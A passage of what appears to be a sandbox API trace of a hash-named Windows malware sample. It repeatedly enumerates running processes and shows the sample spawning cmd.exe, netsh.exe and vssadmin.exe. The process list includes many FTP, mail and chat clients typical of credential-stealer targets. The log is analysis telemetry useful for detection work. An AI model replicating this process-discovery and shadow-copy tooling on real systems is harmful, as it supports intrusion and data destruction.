cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.888] GetLastError () returned 0x12 [0055.888] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0055.889] GetLastError () returned 0x12 [0055.889] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0055.890] GetLastError () returned 0x12 [0055.890] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.890] GetLastError () returned 0x12 [0055.890] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.891] GetLastError () returned 0x12 [0055.891] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.892] GetLastError () returned 0x12 [0056.627] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.628] GetLastError () returned 0x12 [0056.628] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0056.629] GetLastError () returned 0x12 [0056.629] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.629] GetLastError () returned 0x12 [0056.630] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.630] GetLastError () returned 0x12 [0056.630] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.631] GetLastError () returned 0x12 [0056.631] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0056.632] CloseHandle (hObject=0x174) returned 1 [0056.632] Sleep (dwMilliseconds=0x1f4) [0057.488] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0057.493] Process32FirstW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.493] GetLastError () returned 0x12 [0057.493] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.494] GetLastError () returned 0x12 [0057.494] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.495] GetLastError () returned 0x12 [0057.495] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.496] GetLastError () returned 0x12 [0057.496] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.496] GetLastError () returned 0x12 [0057.496] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.497] GetLastError () returned 0x12 [0057.497] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.498] GetLastError () returned 0x12 [0057.498] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.499] GetLastError () returned 0x12 [0057.499] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.500] GetLastError () returned 0x12 [0057.500] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.501] GetLastError () returned 0x12 [0057.501] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.502] GetLastError () returned 0x12 [0057.502] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.502] GetLastError () returned 0x12 [0057.503] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.503] GetLastError () returned 0x12 [0057.503] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.504] GetLastError () returned 0x12 [0057.504] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.505] GetLastError () returned 0x12 [0057.505] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.505] GetLastError () returned 0x12 [0057.505] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.506] GetLastError () returned 0x12 [0057.506] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.507] GetLastError () returned 0x12 [0057.507] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.508] GetLastError () returned 0x12 [0057.508] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.508] GetLastError () returned 0x12 [0057.508] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.509] GetLastError () returned 0x12 [0057.509] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0057.510] GetLastError () returned 0x12 [0057.510] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0057.511] GetLastError () returned 0x12 [0057.511] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.511] GetLastError () returned 0x12 [0057.511] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.512] GetLastError () returned 0x12 [0057.512] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0057.513] GetLastError () returned 0x12 [0057.513] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.513] GetLastError () returned 0x12 [0057.514] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0057.514] GetLastError () returned 0x12 [0057.514] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.515] GetLastError () returned 0x12 [0057.515] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0057.516] GetLastError () returned 0x12 [0057.516] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0057.516] GetLastError () returned 0x12 [0057.517] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0057.517] GetLastError () returned 0x12 [0057.517] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0057.518] GetLastError () returned 0x12 [0057.518] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0057.519] GetLastError () returned 0x12 [0057.519] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0057.519] GetLastError () returned 0x12 [0057.519] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0057.520] GetLastError () returned 0x12 [0057.520] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0057.521] GetLastError () returned 0x12 [0057.521] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0057.522] GetLastError () returned 0x12 [0057.522] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0057.522] GetLastError () returned 0x12 [0057.522] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0057.523] GetLastError () returned 0x12 [0057.523] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0057.524] GetLastError () returned 0x12 [0057.524] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0057.524] GetLastError () returned 0x12 [0057.524] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0057.525] GetLastError () returned 0x12 [0057.525] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0057.526] GetLastError () returned 0x12 [0057.526] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0057.527] GetLastError () returned 0x12 [0057.527] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0057.527] GetLastError () returned 0x12 [0057.527] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0057.528] GetLastError () returned 0x12 [0057.528] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0057.529] GetLastError () returned 0x12 [0057.529] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0057.529] GetLastError () returned 0x12 [0057.530] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0057.591] GetLastError () returned 0x12 [0057.591] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0057.592] GetLastError () returned 0x12 [0057.592] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0057.594] GetLastError () returned 0x12 [0057.594] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0057.595] GetLastError () returned 0x12 [0057.595] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0057.595] GetLastError () returned 0x12 [0057.595] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0057.596] GetLastError () returned 0x12 [0057.596] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0057.597] GetLastError () returned 0x12 [0057.597] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0057.598] GetLastError () returned 0x12 [0057.598] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0057.598] GetLastError () returned 0x12 [0057.598] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0057.599] GetLastError () returned 0x12 [0057.599] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0057.600] GetLastError () returned 0x12 [0057.600] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0057.601] GetLastError () returned 0x12 [0057.601] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0057.602] GetLastError () returned 0x12 [0057.602] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0057.603] GetLastError () returned 0x12 [0057.603] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0057.604] GetLastError () returned 0x12 [0057.604] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 